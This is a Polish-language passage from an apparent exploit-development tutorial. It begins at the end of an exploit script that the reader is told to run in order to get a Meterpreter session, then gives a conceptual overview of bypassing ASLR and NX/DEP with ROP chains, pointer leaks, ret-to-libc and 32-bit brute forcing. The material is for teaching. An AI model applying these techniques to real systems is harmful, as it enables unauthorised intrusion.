sock.close()
```

10. Kontynuujemy i zapisujemy jako script.py i uruchamiamy za pomocą python script.py.

11. I nasza sesja meterpretera powinna na nas czekać.

Kod exploita, który napisaliśmy, może nie działać dokładnie tak samo w każdym systemie, ponieważ istnieje wiele zależności w zależności od wersji systemu operacyjnego, wersji oprogramowania itd.

Przegląd obejścia ASLR i NX

Randomizacja układu przestrzeni adresowej (ASLR) została wprowadzona w 2001 r. przez projekt PaX jako poprawka dla systemu Linux i została zintegrowana z systemem Windows Vista i nowszymi systemami operacyjnymi. Jest to ochrona pamięci, która chroni przed przepełnieniami bufora poprzez losowe określanie lokalizacji, w której pliki wykonywalne są ładowane w pamięci. Zapobieganie wykonywaniu danych (DEP) lub no-execute (NX) zostało również wprowadzone wraz z przeglądarką Internet Explorer 7 w systemie Windows Vista i pomaga zapobiegać przepełnieniom bufora poprzez blokowanie wykonywania kodu z pamięci, która jest oznaczona jako niewykonywalna.

Jak to zrobić...

Najpierw musimy ominąć ASLR. Istnieją zasadniczo dwa sposoby, w jakie można ominąć ASLR:

1. Szukamy wszystkich modułów anty-ASLR ładowanych w pamięci. Będziemy mieć adres bazowy dowolnego modułu w ustalonej lokalizacji. Stąd możemy użyć podejścia Return Oriented Programming (ROP). Zasadniczo użyjemy małych części kodu, po których nastąpi instrukcja return i połączymy wszystko w łańcuch, aby uzyskać pożądany wynik:

2. Tutaj mamy wyciek wskaźnika/pamięci i dostosowujemy przesunięcie, aby pobrać adres bazowy modułu, którego wskaźnik wycieka.

3. Następnie musimy ominąć NX/DEP. Aby to zrobić, używamy dobrze znanego ataku ret-to-libc (w systemie Linux) lub łańcucha ROP (w systemie Windows). Ta metoda pozwala nam używać funkcji libc do wykonywania zadania, które wykonalibyśmy za pomocą naszego kodu powłoki.

4. Istnieje inna metoda używana do omijania ASLR w systemach 32-bitowych, ponieważ 32-bit to stosunkowo mała przestrzeń adresowa w porównaniu do systemów 64-bitowych. Dzięki temu zakres randomizacji jest mniejszy i możliwy do brutalnego ataku.

5. To jest w zasadzie podstawowa koncepcja omijania ASLR i DEP. Istnieje wiele bardziej zaawansowanych sposobów pisania exploitów, a wraz z zastosowaniem poprawek każdego dnia odkrywane są nowe metody ich omijania.